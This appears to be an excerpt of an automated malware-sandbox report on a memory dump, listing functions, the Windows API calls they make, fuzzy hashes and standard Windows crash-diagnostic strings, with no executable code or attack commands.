CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 62463f430a5288c92e0fddf65e4151d33704e8d2ff3ca0e4d72d61f28ebea7d3
Instruction ID: a64469cea2b66f75d45e539d18dac7025743b6af8db99a7d4a131b8ca56ed210
Opcode Fuzzy Hash: 62463f430a5288c92e0fddf65e4151d33704e8d2ff3ca0e4d72d61f28ebea7d3
Instruction Fuzzy Hash: C011932060CA1DCFDF381A2CC45C7B1AEA2BB2D32DFA95D96C413470E2DB3448C09B56

Uniqueness

Uniqueness Score: -1.00%

Function 005653AF, Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6cd3eabbc6cc16458df156ff980ab1bfc686cbf82e26a8ac730f7b49fefca7e9
Instruction ID: ab397add56a518fc83552c6b1f620243492d8d66e486e20f3a47ce5467c7ed7a
Opcode Fuzzy Hash: 6cd3eabbc6cc16458df156ff980ab1bfc686cbf82e26a8ac730f7b49fefca7e9
Instruction Fuzzy Hash: 0B0104605C8F2A97CE3026144D987BE6E82BB71373F704A22FC0383292BA5488C56253

Uniqueness

Uniqueness Score: -1.00%

Function 00567435, Relevance: 1.6, APIs: 1, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f1e10bcbd9eeda9ad1c664812922b1c334c736c9b884a0b7e4a779b5290d7bec
Instruction ID: f7899e4c5cdf368b49c2c84506a0a8ff7b88b815d2d857fdd80881e1ac61536d
Opcode Fuzzy Hash: f1e10bcbd9eeda9ad1c664812922b1c334c736c9b884a0b7e4a779b5290d7bec
Instruction Fuzzy Hash: 5711943060C91DCFDF285A2CD45C7B56E62BB2D32DFA95C96C45347061D77488C4DB16

Uniqueness

Uniqueness Score: -1.00%

Function 005642A0, Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c9f0c1be25fb34dd5ca64eab097f72fc116c84d1cbdaf328421474e20d90f035
Instruction ID: f74854e03533b30be2fc66ce8590132d4dc88a47b74a8f91fd75ff4b6c91d420
Opcode Fuzzy Hash: c9f0c1be25fb34dd5ca64eab097f72fc116c84d1cbdaf328421474e20d90f035
Instruction Fuzzy Hash: 8111592264BBA987C721567448B61C3BF92BF63230B2C828DC4D20B3E7DD519E11D3D6

Uniqueness

Uniqueness Score: -1.00%

Function 00565390, Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a6055625569d2e87c2b8449a5db0bf579e3f9da4be77cf4bcd5fbd47d6c0a215
Instruction ID: 2b367fea0000b37ab163aff304b62065bf72c70698085aba0cbc677a6680f292
Opcode Fuzzy Hash: a6055625569d2e87c2b8449a5db0bf579e3f9da4be77cf4bcd5fbd47d6c0a215
Instruction Fuzzy Hash: 6D01B1601D8F16A7CE302B104D9CBBE6D56BB713A3F704E66FC4383202BB9984C56653

Uniqueness

Uniqueness Score: -1.00%

Function 00565429, Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0e5925957a35d09ec475a1fd8aef3c83875c23ec039d277829d19d3295367979
Instruction ID: a51ed89ed033e541ad573a5a5ff26b627dba9bae1e7867ca810c6a6f1742672a
Opcode Fuzzy Hash: 0e5925957a35d09ec475a1fd8aef3c83875c23ec039d277829d19d3295367979
Instruction Fuzzy Hash: C10104205C5F2997CE24256408B92AE2A46BAB6372F784A56FC53473D1BE1008805292

Uniqueness

Uniqueness Score: -1.00%

Function 005653D7, Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3e005dc5e417b07c6ca50e94489717409fa40ea1795b23b6670ff1725cc64cb4
Instruction ID: 56c017a61c909957f0120ee5130b04e40c5a0c904407f3998c85f4406549fe8a
Opcode Fuzzy Hash: 3e005dc5e417b07c6ca50e94489717409fa40ea1795b23b6670ff1725cc64cb4
Instruction Fuzzy Hash: 7501F5205C8F1997CE3027544DA97FE5E52BB71363F744A22FC0343282BE1588C52293

Uniqueness

Uniqueness Score: -1.00%

Function 005674AF, Relevance: 1.6, APIs: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 66bfa9ce8212b732d8fcf6534c9ef8f480e5352d43cd2434548ccd5eae5f1bed
Instruction ID: c65b5f7e786ca26b48c16a481dd98575859f1e31f3ed58f171b2f5b8914dc6e3
Opcode Fuzzy Hash: 66bfa9ce8212b732d8fcf6534c9ef8f480e5352d43cd2434548ccd5eae5f1bed
Instruction Fuzzy Hash: A711C82064CA1DCFDF381A2CD4687B56B92BB3D72CFA9499AC513470A2973548C4C756

Uniqueness

Uniqueness Score: -1.00%

Function 005653FF, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a4047a5a744bdd9e89d9ba98397b90fa350496a53ca9dfb53b47f859138396bc
Instruction ID: 172b634952f314f86a0be4f72e650706d95c223b561633160024f3ed4ebc4f93
Opcode Fuzzy Hash: a4047a5a744bdd9e89d9ba98397b90fa350496a53ca9dfb53b47f859138396bc
Instruction Fuzzy Hash: DB0142605C8F29E7CE2026144CA87BE6E42BB76373F744B62FC4383291FE1548C46293

Uniqueness

Uniqueness Score: -1.00%

Function 00565509, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ea2871bca96fdf4a2e03f6311d78e9a9e69f5b2f6307ba0dce49f3f709e2dd05
Instruction ID: 5be5d4bddfcd40e48b851b21a94c93869821546201e5f7cddf43742294372b0a
Opcode Fuzzy Hash: ea2871bca96fdf4a2e03f6311d78e9a9e69f5b2f6307ba0dce49f3f709e2dd05
Instruction Fuzzy Hash: E601AD26AC7FA887CA2424A81C790EA6B86AA77A30E2D5719FD33073E0BD000D0493D5

Uniqueness

Uniqueness Score: -1.00%

Function 0056751B, Relevance: 1.5, APIs: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fdbe2c280fd425c1741cd2aaeba1e57a4f5c59b0cba8a5a81441441f79fa3a7e
Instruction ID: 86685c5e157c888f162faf2aabf87bef3fa001ebba0a4cc8aa0dba1ba0a66dbe
Opcode Fuzzy Hash: fdbe2c280fd425c1741cd2aaeba1e57a4f5c59b0cba8a5a81441441f79fa3a7e
Instruction Fuzzy Hash: D0012611B4AA6D8BDE29156CD8741E92B427B6BB28FEC4688C5634B2E1EE120CC08395

Uniqueness

Uniqueness Score: -1.00%

Function 005674F4, Relevance: 1.5, APIs: 1, Instructions: 46fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e0c845016ba8158a18c12130561c3ab64eaa7f2a3d13163667e1662d24c81a38
Instruction ID: 7f8f86ae7fdec87bf472f5b7bb087c59ce13c02e7b524fbd7180124c057c7c8f
Opcode Fuzzy Hash: e0c845016ba8158a18c12130561c3ab64eaa7f2a3d13163667e1662d24c81a38
Instruction Fuzzy Hash: 18F0F92075D91D8FDF2C153CD4642F51B53BB7A72CFA8499AC1538B1A5DA210CD08356

Uniqueness

Uniqueness Score: -1.00%

Function 00563986, Relevance: 1.5, APIs: 1, Instructions: 46libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Part of subcall function 005639C3: LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InitializeLibraryLoadThunk
String ID:
API String ID: 3353482560-0
Opcode ID: 9173997f9f85b111ff6bdf31a3ca858de64ff9de067bbcfa7ad06bbb6ead7c4a
Instruction ID: d6f5fae0bd2efe25ce725db96a36f9aaaae9d13c42665e2784af8c6135d4c716
Opcode Fuzzy Hash: 9173997f9f85b111ff6bdf31a3ca858de64ff9de067bbcfa7ad06bbb6ead7c4a
Instruction Fuzzy Hash: 27F08B02AC1B1A47DA2038A80C2A2C7674677B3F74F7DD715F9220B3E6BC424E4493D9

Uniqueness

Uniqueness Score: -1.00%

Function 0056546E, Relevance: 1.5, APIs: 1, Instructions: 43libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4e9f7e5701a579e853faf0d60341584f83099ff19f0d8f81629e8312c047155d
Instruction ID: 91edcf4fbb0662752d5c92cac0ef3022ccc073e33ba3f7095fc8f8c9a6beaf76
Opcode Fuzzy Hash: 4e9f7e5701a579e853faf0d60341584f83099ff19f0d8f81629e8312c047155d
Instruction Fuzzy Hash: 68F0F6605C4F1993CE202A544CAC7EE6A46BB76372F744B26FC53472D0FE5148C12293

Uniqueness

Uniqueness Score: -1.00%

Function 00565495, Relevance: 1.5, APIs: 1, Instructions: 40libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 113ffbefc6a6d58c479dbc0a83b6d0ecb198678e0dbd4f02d069bbe5a530bc6b
Instruction ID: 1cfa5d0d2203dd6e0dd168c0684746d91ee8a9202540f2fbc5a731e97ef8431a
Opcode Fuzzy Hash: 113ffbefc6a6d58c479dbc0a83b6d0ecb198678e0dbd4f02d069bbe5a530bc6b
Instruction Fuzzy Hash: ADF09E702C9B6497CE151A2408FD0FB1F867DB6321F754A16F85387381FA5249C557D3

Uniqueness

Uniqueness Score: -1.00%

Function 005654B6, Relevance: 1.5, APIs: 1, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 27c4a0c1302b51e03d35937b7e322c0877e767ce4f86e29de7b40226dd9499cd
Instruction ID: dd7d0c7f3f4ccebe6cb06c26306bb6d729e9089ae9046d73fe4ab50640099894
Opcode Fuzzy Hash: 27c4a0c1302b51e03d35937b7e322c0877e767ce4f86e29de7b40226dd9499cd
Instruction Fuzzy Hash: 8EF027706C4F1583CE24195808AC0EA1B867976331FB44B16FC23473C0FA5148812693

Uniqueness

Uniqueness Score: -1.00%

Function 00564C1B, Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: a1c7f4375e3afe2c67481bf492a8c26f7643ff7098757be9c66c795878e03739
Instruction ID: 460fe22b4b8e60ccc28a3bf96c952ceae040b54086337d0da22c3d262551ad80
Opcode Fuzzy Hash: a1c7f4375e3afe2c67481bf492a8c26f7643ff7098757be9c66c795878e03739
Instruction Fuzzy Hash: F0F0E51168AA58DBF6204944C9A67EB2B897B26710F784A01EE83473C5DA150D48AAB3

Uniqueness

Uniqueness Score: -1.00%

Function 00567565, Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6efcffd00721194844a53125f7e6ff9439d512c84a60479f9cd1ae6bde1f87f9
Instruction ID: 6737ef2abad8b341535fae495eac6391d0aae6e0cd7ab385e05a3c069c185f69
Opcode Fuzzy Hash: 6efcffd00721194844a53125f7e6ff9439d512c84a60479f9cd1ae6bde1f87f9
Instruction Fuzzy Hash: 1FF0EC2074995D4BDF2D197CD8741E92F92BB6B31CBDD4A55C123471F1DA210CC4C741

Uniqueness

Uniqueness Score: -1.00%

Function 00564C3E, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: df519837277906d9b95d2f4a7475d4690bf84198bbc7b35dcdef506d38d705ba
Instruction ID: 6d98ad4ba03c00001cf375d1b14d7948e711efa4e8fe368c4f79ca380c5f0ced
Opcode Fuzzy Hash: df519837277906d9b95d2f4a7475d4690bf84198bbc7b35dcdef506d38d705ba
Instruction Fuzzy Hash: F2E0D81198A719DBF63059848CA67FB2B897B66720F784B01FE93473D5DA140C44ABB3

Uniqueness

Uniqueness Score: -1.00%

Function 00564C5A, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3c43e09574c88d62a8156e0308db1b8b59d387b4b07a923ca0cc0ef5c8565398
Instruction ID: 872497bd34bf751d85b7923e099f475605642981ba57520dfb880ecfd8d28fc8
Opcode Fuzzy Hash: 3c43e09574c88d62a8156e0308db1b8b59d387b4b07a923ca0cc0ef5c8565398
Instruction Fuzzy Hash: B2E0D8119867099BE62059448C967EA2B857B66720F784B01FE92433D5DA140C449BA3

Uniqueness

Uniqueness Score: -1.00%

Function 00564C19, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 2dfb1974c4b3f8f7cf8ad24645fb93e19556800b78efbb67f4b8df5197249fd9
Instruction ID: 0d63fb2446885633e6c2ab8c5dc5dcc1e05a5f3897bb2c18423d43ed0ebcff6e
Opcode Fuzzy Hash: 2dfb1974c4b3f8f7cf8ad24645fb93e19556800b78efbb67f4b8df5197249fd9
Instruction Fuzzy Hash: CBE0865064E604EEF6604A40C6857FA2F597F15340F744D02BDC747749D2190D48AE23

Uniqueness

Uniqueness Score: -1.00%

Function 00563710, Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005636B4,00563778), ref: 00563764

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 985fd8fb7df1e1cb689a7fabf3268d8c0c59843707726460dfda4ec2da81ce1f
Instruction ID: fa89bb3d22f44fdb4ec8127b8b4620a90510cd07a452332b1a576bea0e165253
Opcode Fuzzy Hash: 985fd8fb7df1e1cb689a7fabf3268d8c0c59843707726460dfda4ec2da81ce1f
Instruction Fuzzy Hash: 48E0C224385709B7FA3845A45C7BFE656429B92F20EA4420EFF466F2C1AA910D90C6A7

Uniqueness

Uniqueness Score: -1.00%

Function 00564C76, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 5b967992b44244b621f499e1bbdfd8881cc9d1bc992b44dd449f7bb67bd199bf
Instruction ID: ad8bf910b092ca1ebee3a8465e9bd462424844c57666bc282b0546612fddceff
Opcode Fuzzy Hash: 5b967992b44244b621f499e1bbdfd8881cc9d1bc992b44dd449f7bb67bd199bf
Instruction Fuzzy Hash: 66E026115867089BE62059488CA67EB2B857B66720F784B00FE92033D5DE100C049BA3

Uniqueness

Uniqueness Score: -1.00%

Function 005654F5, Relevance: 1.5, APIs: 1, Instructions: 23libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 14033c4aaccbaf6fb06fcc6978de41b06c65500261454a0c9b13ecbcfe834631
Instruction ID: 5160204330b8bd8c68dabde82b8084e6eff2861854c17e8dd0e950f462d9fa44
Opcode Fuzzy Hash: 14033c4aaccbaf6fb06fcc6978de41b06c65500261454a0c9b13ecbcfe834631
Instruction Fuzzy Hash: 57E012B42C8B5597CA256A6009BC2BD6D537D78350F758E26FC9387210F67184852A42

Uniqueness

Uniqueness Score: -1.00%

Function 00564C93, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 1d1f50b97c1a65d1f71073e52d43be8fd94723e6f099cb8dea4798ce944e6127
Instruction ID: 76f9b931131e47708cde84df60f74c0dac5b58d5e2bc56e42a51f2fbb363ebe7
Opcode Fuzzy Hash: 1d1f50b97c1a65d1f71073e52d43be8fd94723e6f099cb8dea4798ce944e6127
Instruction Fuzzy Hash: 87E0C212986B589BE62016449DE67EB2746777A721F348701FEC2033C959141D0897B3

Uniqueness

Uniqueness Score: -1.00%

Function 005675A1, Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0dcfcbabaea61cf0e180e223c76749768412d1b6ebb79d115d8d0056921cae3b
Instruction ID: 33b26fa3855e4ae31e090486997b11faba1b4d5021c2b2cbd0543422f9fb1f54
Opcode Fuzzy Hash: 0dcfcbabaea61cf0e180e223c76749768412d1b6ebb79d115d8d0056921cae3b
Instruction Fuzzy Hash: EEE0C23070841A8FDF1D6A2CC1A82E92A92FB6A30CBD94898C22287034D63108C8CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00564CB6, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 7596b904563cf41447da1f22971090d33435a3d0cb092bf45dc021c3fa8f7de5
Instruction ID: 62990ed3b7354e3026eb97a9e128cc20a3cc56445bc9072d9aababf815d41fec
Opcode Fuzzy Hash: 7596b904563cf41447da1f22971090d33435a3d0cb092bf45dc021c3fa8f7de5
Instruction Fuzzy Hash: 9BD05E12985B089BE56058889DE67E767897B7AB31F384704FEA2072D59E100C0997B3

Uniqueness

Uniqueness Score: -1.00%

Function 0056370E, Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005636B4,00563778), ref: 00563764

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6324d91edf344142bff3003f7d2fc777bca6cb4b913bd9ad8c46bdfd729ceaed
Instruction ID: 15215138dd32ab69490ce64311ddef29012c376fda1e0b61263187c2b465eec4
Opcode Fuzzy Hash: 6324d91edf344142bff3003f7d2fc777bca6cb4b913bd9ad8c46bdfd729ceaed
Instruction Fuzzy Hash: FBD0A7B4284302B5FD3445605C3BFE515419F51F50FD0450AFF8A2A1C162A10691D517

Uniqueness

Uniqueness Score: -1.00%

Function 0056373A, Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,005636B4,00563778), ref: 00563764

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b68054917c7af3f8bce45792a704909630d8d33ded79453466edc2d5ecee2919
Instruction ID: 6ff48b8a30ef9e034bbceedf21766992d4cf38ef1bb58384a3df875bce7b6551
Opcode Fuzzy Hash: b68054917c7af3f8bce45792a704909630d8d33ded79453466edc2d5ecee2919
Instruction Fuzzy Hash: 71D0A711581B0EE7E93004EC5C3EBC753455B23F71E544308FF222A2D27E50081086B5

Uniqueness

Uniqueness Score: -1.00%

Function 00564CDB, Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200), ref: 00564D13

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 6b46995cd7bac3347ae0795c5e0b43b6badfc96b0f7f67eaacd9f52715722f8c
Instruction ID: fc1e66e080b509110aa944f2e6bdcde80f638256a6f39f7974c6bf34233221d4
Opcode Fuzzy Hash: 6b46995cd7bac3347ae0795c5e0b43b6badfc96b0f7f67eaacd9f52715722f8c
Instruction Fuzzy Hash: B8D02202C82FDC83CA2025980C251DA2B40373B230F698300DD63033E51D000804E3FA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1E44B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

Go determine why that thread has not released the critical section., xrefs: 1E44B3C5
*** Inpage error in %ws:%s, xrefs: 1E44B418
*** enter .exr %p for the exception record, xrefs: 1E44B4F1
The resource is owned shared by %d threads, xrefs: 1E44B37E
The critical section is owned by thread %p., xrefs: 1E44B3B9
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 1E44B2DC
*** A stack buffer overrun occurred in %ws:%s, xrefs: 1E44B2F3
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 1E44B38F
The resource is owned exclusively by thread %p, xrefs: 1E44B374
The instruction at %p referenced memory at %p., xrefs: 1E44B432
*** An Access Violation occurred in %ws:%s, xrefs: 1E44B48F
<unknown>, xrefs: 1E44B27E, 1E44B2D1, 1E44B350, 1E44B399, 1E44B417, 1E44B48E
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 1E44B53F
*** enter .cxr %p for the context, xrefs: 1E44B50D
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 1E44B314
an invalid address, %p, xrefs: 1E44B4CF
This failed because of error %Ix., xrefs: 1E44B446
write to, xrefs: 1E44B4A6
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 1E44B39B
The instruction at %p tried to %s , xrefs: 1E44B4B6
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 1E44B3D6
a NULL pointer, xrefs: 1E44B4E0
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 1E44B305
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 1E44B323
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 1E44B484
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 1E44B476
*** Resource timeout (%p) in %ws:%s, xrefs: 1E44B352
*** then kb to get the faulting stack, xrefs: 1E44B51C
read from, xrefs: 1E44B4AD, 1E44B4B2
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 1E44B47D

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: e10f30ef379d30a85ea3d4ce30e9b12553e6b5734c8421aeefc4059e0c56be2e
Instruction ID: 7ad40f9eeb51826754f0f5413399fceb001420f4646cc56962873abb2a88e649
Opcode Fuzzy Hash: e10f30ef379d30a85ea3d4ce30e9b12553e6b5734c8421aeefc4059e0c56be2e
Instruction Fuzzy Hash: 7E813579A00010FFEB115A07EC48EBB3B3AAF86655F90435AF4066B316D7359802DBB2

Uniqueness

